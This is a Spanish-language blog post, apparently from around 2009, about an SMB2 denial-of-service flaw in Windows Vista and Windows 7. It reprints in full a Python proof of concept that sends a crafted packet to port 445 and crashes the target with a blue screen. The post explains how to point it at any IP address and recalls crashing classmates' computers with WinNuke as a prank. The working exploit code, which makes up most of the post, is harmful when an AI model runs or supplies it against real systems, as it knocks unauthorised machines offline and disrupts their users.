En la época de Windows 95 (que en paz descanse) nos lo pasamos genial en clase lanzando WinNukes a diestro y siniestro, para dejar K.O. (Pantallazo Azul De La Muerte o Blue Screen Of Dead o BSOD) el sistema operativo del vecino que luego gritaba "Profe, ¡se me ha puesto el salvapantallas o algo!".
Enviando cierta cadena por un puerto determinado, el 139 TCP, conseguiamos el bloqueo absoluto del entorno, y tocaba reiniciar.
Enviando cierta cadena por un puerto determinado, el 139 TCP, conseguiamos el bloqueo absoluto del entorno, y tocaba reiniciar.
La película parece que se vuelve a repetir, pero esta vez le toca el turno a Windows Vista y Windows 7.
El fallo se ha encontrado de nuevo en el protocolo SMB encargado de compartir ficheros e impresoras, pero esta vez afectando a una nueva versión 2 incluída dentro de dichos sistemas operativos. Más información en este enlace, y en este otro vereis su especificación.
Laurent Gaffié, descubridor de esta vulnerabilidad, ha publicado además un código en python el cual una vez ejecutado, provocará un pantallazo azul en ambos sistemas.
En el código únicamente tendreis que cambiar el valor de IP_ADDR en la siguiente linea:
host = "IP_ADDR", 445
Smb-Bsod.py:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Con la dirección IP del sistema con Windows Vista o 7, y que como no, tiene que tener activado dicho servicio de compartir ficheros e impresoras. Si en vez de dejar en el código la dirección IP, cambiais dicho string por argv[1], se ejecutará para la dirección IP que pongais como parámetro al ejecutarlo.
NOTA:
Desde 48bits se informa de que SI PODRÍA SER POSIBLE LA EJECUCIÓN REMOTA DE CÓDIGO, dan una explicación técnica que defiende la teoría. Más info en => http://blog.48bits.com/?p=510
Fuente:
http://www.securitybydefault.com/
http://g-laurent.blogspot.com/
http://blog.48bits.com/
que lindo código xd !
ResponderEliminarsalud0's